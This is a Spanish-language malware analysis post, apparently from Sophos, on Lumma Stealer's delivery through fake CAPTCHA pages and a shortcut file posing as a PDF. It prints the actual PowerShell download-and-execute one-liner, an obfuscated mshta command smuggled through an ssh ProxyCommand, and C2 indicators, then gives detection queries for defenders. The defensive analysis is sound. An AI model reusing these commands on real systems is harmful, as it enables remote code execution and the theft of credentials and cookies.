Lumma Stealer
Búsqueda de Ciberamenazas

Lumma Stealer, va y viene

El famoso ladrón de información cambia sus TTP, pero mantiene la táctica CAPTCHA; lo analizamos en profundidad

En septiembre de 2024, una búsqueda de amenazas en la telemetría de Sophos Managed Detection and Response descubrió una campaña de Lumma Stealer que utilizaba sitios CAPTCHA falsos que indicaban a las víctimas que pegaran un comando (malicioso) codificado en PowerShell en la interfaz de línea de comandos de Windows. Las investigaciones posteriores nos permitieron profundizar en el funcionamiento de este famoso ladrón de información. En esta publicación se relatan esos descubrimientos, tal y como se observaron en diversas investigaciones de MDR durante el otoño y el invierno de 2024-25.

Conceptos básicos de Lumma Stealer

Lumma Stealer lleva activo desde mediados de 2022 y se cree que fue creado por un desarrollador de habla rusa. Se ofrece como malware como servicio (MaaS) y su mantenedor vende el acceso al ladrón a través de Telegram y ofrece actualizaciones y asistencia al usuario. Se puede encontrar más información en un sitio web dedicado de Gitbook.

El ladrón de información tiene como objetivo diversos objetos de valor, como contraseñas, tokens de sesión, carteras de criptomonedas e información personal de dispositivos comprometidos. La amenaza se ve amplificada por sus astutos métodos de entrega. En un caso, el atacante manipuló la confianza de los usuarios en los retos CAPTCHA y empleó tácticas de ingeniería social para engañar a las víctimas que buscaban descargas de software. En otro caso más sencillo, se dirigió al usuario a un sitio malicioso y se le pidió que abriera un archivo en el Explorador de Windows.

Las variaciones que observamos en el comportamiento de Lumma Stealer son importantes para los defensores, ya que la infección por Lumma Stealer ha sido muy común en los últimos meses. Dicho esto, las técnicas de entrega que observamos podrían adaptarse fácilmente a otro malware más allá de Lumma Stealer, lo que hace que su documentación sea útil. (Se publicará una lista de IoC en nuestro repositorio de GitHub).

Nuestros investigadores conocen trabajos similares en curso de Netskope Threat Labs, incluida una estimación de que hasta 5000 sitios web con CAPTCHA falsos podrían estar involucrados actualmente en una campaña relacionada con Lumma Stealer. Del mismo modo, los investigadores de Qualys han realizado una sólida investigación para detallar los mecanismos que Lumma Stealer ha utilizado en los últimos meses. Sophos recomienda encarecidamente examinar los IoC que estos investigadores han puesto a disposición del público, además de los nuestros.

Investigación n.º 1: el arte del robo

En esta investigación, el flujo de ataque observado con la participación de CAPTCHA fue relativamente sencillo: el atacante crea un sitio malicioso, «protegido» por una verificación CAPTCHA de aspecto normal en hxxps[://]camplytic[.]com/go/cdff9f96-8cbd-4c44-b679-2f612a64cd00. El usuario que visita el sitio hace clic en el cuadro «No soy un robot», como se muestra en la figura 1.

Lumma Stealer
Figura 1: un cuadro de verificación que parece familiar

A continuación, se redirige al usuario a otra supuesta página de verificación, hxxps[://]sos-at-vie-1[.]exo[.]io/store-as/cloudflare-new-artist[.]html, en la que se te pide que primero cargue el comando «ejecutar» de Windows y, a continuación, pulse Ctrl+V y Enter, como se muestra en la figura 2.

Lumma Stealer
Figura 2: la siguiente solicitud de «comprobación de seguridad» es algo inusual, pero bastante sencilla para los usuarios desprevenidos

En segundo plano, una vez que el usuario pega el comando PowerShell en el cuadro de diálogo Ejecutar, se activa una función JavaScript oculta que coloca un script de PowerShell en el portapapeles y lo ejecuta en una ventana oculta:

C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe» -W Hidden -command $uR= hxxps[://]fixedzip[.]oss-ap-southeast5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS. Content; iex $t

Ese script recupera el malware ladrón de información de un servidor de comando y control (C2) y se inicia la carrera por la recuperación de la carga útil, como se muestra en la figura 3.

Lumma Stealer
Figura 3: flujo del ataque con abuso de CAPTCHA; ten en cuenta que Lumma Stealer se carga a mitad del proceso

Cuando se ejecuta, el script de PowerShell recupera el malware Lumma Stealer de un servidor externo, iniciando la descarga de la primera fase de la carga útil maliciosa en el sistema comprometido. El comando

$uR=hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/new-artist[.]txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex$t

recupera el contenido del archivo new-artist.txt alojado en el servidor externo. A continuación, este contenido se procesa y se ejecuta a través del cmdlet Invoke-Expression.

Este archivo new-artist.txt del código anterior contiene otro script de PowerShell, que se conecta a hxxps[://]fixedzip[.]oss-ap-southeast-5[.]aliyuncs[.]com/artist[.]zip . Esta copia comprimida de Lumma Stealer se descarga en el equipo de destino, se extrae en la ruta %AppData% del usuario y se guarda como «ArtistSponsorship.exe» (sha256:e298cd6c5fe7b9b05a28480fd215ddcbd7aaa48a) para su posterior ejecución, como se muestra en la figura 4.

la descarga maliciosa
Figura 4: la descarga maliciosa

El archivo ArtistSponsorship.exe contiene, entre varios archivos descargados, como se ve en la Figura 5, el script AutoIt.exe ofuscado (sha256:05d8cf394190f3a707abfb25fb44d7da9d5f533d7d2063b23c00cc11253c8be7). Estos se descargan en el directorio %temp%.

 varios archivos descargados
Figura 5: varios archivos descargados en %temp% por ArtistSponsorship.exe

El script AutoIT realiza varias acciones e incluye código shell. Entre sus actividades, se conecta al dominio C2 snail-r1ced[.]cyou – IP 104.21.84[.]251 (CLOUDFLARENET). A continuación, Lumma Stealer se dirige a los datos de los usuarios, las credenciales de inicio de sesión de varios navegadores, las carteras de bitcoins y las cookies. En la figura 6, AutoIt3.exe está accediendo a los datos de inicio de sesión y las cookies utilizados por el navegador Chrome.

AutoIT3.exe
Figura 6: AutoIT3.exe in fraganti con las credenciales de inicio de sesión de Chrome (entre otras cosas)

A continuación, AutoIt3.exe ejecuta el script X.a3x para filtrar los datos de inicio de sesión y las cookies de Chrome capturados a la IP C2 104.21.84[.]251 (CLOUDFLARENET). En el caso que observamos, se filtró con éxito un archivo de solo 6,37 MB (los datos de inicio de sesión y las cookies), tras lo cual se terminó el proceso AutoIt3.exe.

Investigación n.º 2: análisis en profundidad del código

En esta sección, profundizaremos mucho más en los detalles de los archivos y procesos que encontramos en la cadena de entrega de la carga útil. En el caso que vamos a examinar, el usuario visitó sin darse cuenta un sitio infectado.

En primer lugar, se le pidió que abriera un archivo en formato PDF en el Explorador de Windows, como se muestra en la figura 7.

el usuario está intentando cargar un PDF
Figura 7: el usuario está intentando cargar un PDF, pero eso no es lo que va a suceder

El archivo, aparentemente un PDF llamado «Instruction_695-18014-012_Rev.PDF», es en realidad un archivo .lnk (acceso directo) alojado de forma remota, como se muestra en la Figura 8.

Lumma Stealer
Figura 8: Windows advierte que se trata en realidad de un acceso directo, no de un PDF

El archivo de acceso directo intenta ejecutar un script de PowerShell ofuscado, como se muestra en la Figura 9.

el script ofuscado en el campo Destino
Figura 9: el script ofuscado en el campo Destino

El texto completo del script ofuscado es

C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]] pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'  -replace ']')

Cuando un usuario ejecuta el archivo de acceso directo, sftp.exe ejecutará el comando ofuscado a través del indicador ProxyCommand. Sin embargo, sftp.exe no establece realmente la conexión de red por sí mismo, sino que delega la tarea a ssh.exe con un conjunto especial de parámetros:

«C:\Windows\System32\OpenSSH\ssh.exe» «-oForwardX11 no» «-oForwardAgent no» «-oPermitLocalCommand no» «-oClearAllForwardings yes» -o «ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]'  -replace ']')» “-oProtocol 2” -s -- . sftp .

Como vemos en el bloque de código anterior, los parámetros aprovechan la opción «ProxyCommand». ProxyCommand especifica un comando que se ejecutará en lugar de conectarse directamente al host de destino. En el ejemplo anterior, ProxyCommand se configura para ejecutar PowerShell, que a su vez ejecuta mshta.exe para descargar y ejecutar un script remoto.

La primera ejecución del script de PowerShell se muestra en la Figura 10.

primera ejecución
Figura 10: se revela la primera ejecución

Este script procesa datos cifrados con AES dentro de la función aepcc, como se muestra en la Figura 11.

lumma stealer
Figura 11: los creadores de Lumma Stealer no eligieron un algoritmo de cifrado débil

En la figura 12, la clave AES aparece en primer lugar. A continuación, aparece un vector de inicialización (IV) de 16 bytes de ceros; el IV sirve para añadir aleatoriedad al inicio del proceso de cifrado. A pesar de ello, desciframos los datos con CyberChef, como se muestra.

CyberChef
Figura 12: CyberChef comienza a revelar lo que está sucediendo

A continuación, descodificamos el script desde base64, más cercano a un formato legible, pero ahora con una gran cantidad de decimales, como se muestra en la Figura 13.

script
Figura 13: el script se ve con mayor claridad

Los decimales de esa masa de números son, en realidad, caracteres ASCII. Una nueva pasada por CyberChef, como se muestra en la Figura 14, revela que se trata de un archivo PE, diseñado para descargar más cargas útiles.

 archivo PE
Figura 14: un archivo PE con un único propósito malicioso

Este script realiza las siguientes acciones:

    1. Establece la variable «O» igual a la URL C2.

    2. Recupera dinámicamente el método «Load» de la clase .NET «System.Reflection.Assembly». A continuación, se invoca el método «Load» sobre el valor de la variable «oQ7» (el PE ofuscado); esto básicamente carga el PE en la memoria.

    3. Como se muestra arriba, el PE contiene un único método estático denominado «aHdiNKuWlR». Este método descarga el contenido de la URL que se le pasa utilizando WebClient.El script pasa el valor de la variable «O» (que contiene la URL C2) al PE cargado en la memoria.

    4. El método «aHdiNKuWlR» definido en el PE procesa la URL que se le pasa descargando su contenido mediante DownloadString.

    5. La ruta «\appdata\roaming» se guarda en la variable «Ikmg».

    6. Se ejecuta la función «bOje», que realiza las siguientes acciones:

      1. La función primero agrega ‘i1040gi.pdf’ a la variable ‘Ikmg’ (ruta del archivo).

      2. Realiza una llamada a la función ‘rlYDr’ y pasa un identificador único que se recupera de los datos descifrados AES en la posición 103 con longitud 86, como se muestra en la Figura 15.

      hexadecimal
      Figura 15: Vista hexadecimal del identificador único
    7. Comprueba si la ruta «\appdata\roaming\i1040gi.pdf» no existe.

    8. Si la ruta del archivo no existe, ejecuta la función «XSFbo». Esta función toma dos parámetros:

      1. «BtPdn»: esta función toma el identificador único como entrada. Extrae 100 caracteres específicos de los datos descifrados con AES y los utiliza como tabla de consulta para convertir el identificador único en una URL. La URL resultante es un documento PDF legítimo del IRS.

      2. El segundo parámetro es la ruta del archivo en la variable «EVcD», como se muestra en la Figura 16.

ruta del archivo
Figura 16: aparece la ruta del archivo

Después de decodificar la URL, la función «XSFbo» toma la URL y descarga el contenido utilizando «Net.WebClient» (que también se decodificó utilizando «BtnPdn»), y luego guarda el PDF en la ruta del archivo especificada en la variable «EVcD», como se muestra en la Figura 17.

lumma stealer
Figura 17: la ruta del archivo aparece de nuevo, como destino de guardado

Por último, se ejecuta el PDF que se ha descargado, como se muestra en las figuras 18 y 19.

Lumma Stealer
Figura 18: Ahí está…
Lumma Stealer
Figura 19: … y ahí va

¡Pero espera! ¡Hay más!

Para concluir este análisis, volvamos a las etapas anteriores a la descarga y ejecución del PDF benigno.

Primero observamos que había una recuperación dinámica del método «Load», que se utilizó para cargar el PE incrustado que decodificamos. A continuación, observamos un método estático definido dentro del PE que se estaba utilizando para descargar la siguiente etapa. Por último, vemos que el script descargado se ejecuta con «InvokeScript». Centrémonos en esta siguiente etapa.

La siguiente etapa que se descargó está muy ofuscada con comentarios inútiles y nombres de variables muy largos, como se muestra en la figura 20.

Lumma Stealer
Figura 20: pasteles de luna, empanadas, buñuelos, ragú, kebabs, tacos… Está claro que alguien estaba ofuscando con el estómago vacío

Una vez desofuscado, descubrimos que este script es responsable de descargar una etapa final. El script cuenta con resolución dinámica de API de Windows de bajo nivel, como «GetProcAddress», «VirtualProtect» y «AmsiInitialize».

Detecciones

Las siguientes consultas pueden resultar útiles para los defensores que busquen pruebas de Lumma Stealer en sus sistemas.

Identifica todos los archivos de amenazas scripts/binarios de los SPID identificados utilizados para crear Lumma Stealer en las últimas ocho horas o en un intervalo de tiempo:

SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.time,'unixepoch')) dateTime,sfj.time AS epoch_time, spj.cmd_line, CASE sfj.event_type
       WHEN 0 THEN 'Created'
       WHEN 2 THEN 'Deleted'
   END eventType, sfj.sophos_pid, sfj.path AS file_path, sfj.target_path, sfj.file_size, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.creation_time,'unixepoch')) birth_time_utc, strftime('%Y-%m-%d %H:%M:%S', datetime(sfj.last_write_time,'unixepoch')) modified_time_utc, spj.sid, u.username, sfj.sha256
FROM sophos_file_journal sfj
LEFT JOIN sophos_process_journal spj ON sfj.sophos_pid = spj.sophos_pid
LEFT JOIN users u ON spj.sid = u.uuid
WHERE
sfj.sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>')
AND
sfj.event_type IN (0, 2)
AND
sfj.time > strftime('%s', 'now', '-8 hour')
--sfj.time > strftime('%s','2024-11-13 04:44:32') AND sfj.time < strftime('%s','2024-11-13 04:47:35')

Identificar posibles exfiltraciones y C2:

SELECT
strftime('%Y-%m-%d %H:%M:%S', datetime(time,'unixepoch')) dateTime, *
FROM sophos_process_activity
WHERE sophos_pid IN ('<SPID1>', '<SPID2>', '<SPID3>', '<SPID4>')
AND subject IN ('Dns','FileOtherReads', 'Ip', 'RuntimeIOCs', 'Process', 'Network')
AND time > strftime('%s', 'now', '-8 hour')
--AND time > strftime('%s','2024-11-13 04:44:32') AND time < strftime('%s','2024-11-13 04:47:35')

Identifica la URL de origen del CAPTCHA falso o del mensaje de verificación del historial de navegación:

SELECT f.path,f.directory,f.filename,f.size,strftime('%Y-%m-%d %H:%M:%S',datetime(f.mtime,'unixepoch')) AS modified_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.atime,'unixepoch')) AS last_access_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.ctime,'unixepoch')) AS change_time_utc,strftime('%Y-%m-%d %H:%M:%S',datetime(f.btime,'unixepoch')) AS birth_time_utc,attributes, h.sha256 AS SHA256, h.sha1 AS SHA1, h.md5 AS MD5
FROM file f LEFT JOIN hash h on f.path = h.path
WHERE f.path LIKE 'C:\Users\%\AppData\Local\Google\Chrome\User Data\%\History' -- Windows history for Chrome
OR f.path LIKE 'C:\Users\%\AppData\Local\Microsoft\Edge\User Data\%\History' -- history for Edge
OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\places.sqlite' --Windows history for Firefox;
OR f.path LIKE 'C:\Users\%\AppData\Roaming\Mozilla\Firefox\Profiles\%\downloads.sqlite' --Windows history for Firefox;
order by f.mtime DESC

Conclusión

Lumma Stealer sigue siendo una amenaza importante en el momento de escribir este artículo. La táctica documentada de utilizar sitios CAPTCHA falsos para engañar a las víctimas y que introduzcan un comando malicioso en sus propios sistemas es un giro desagradable de la situación. La protección de endpoints de Sophos contrarresta la amenaza con una serie de detecciones de malware y tácticas de análisis de comportamiento, pero educar a los usuarios para que desconfíen de los CAPTCHA, después de tantos años convenciéndoles de que los respondan, es una tarea difícil. A medida que se amplían esos esfuerzos de formación, se recomienda a los defensores que instauren una tecnología de detección de endpoints adecuada y que sean conscientes de que las tácticas de este infostealer tan común siguen evolucionando.

Agradecimientos

Andrew Jaeger, Nayana V R, David Whitehall y Waldemar Stiefvater han contribuido con sus revisiones y críticas constructivas a este trabajo.

Indicadores de compromiso

Los IoC recopilados en esta investigación están disponibles en nuestro repositorio GitHub.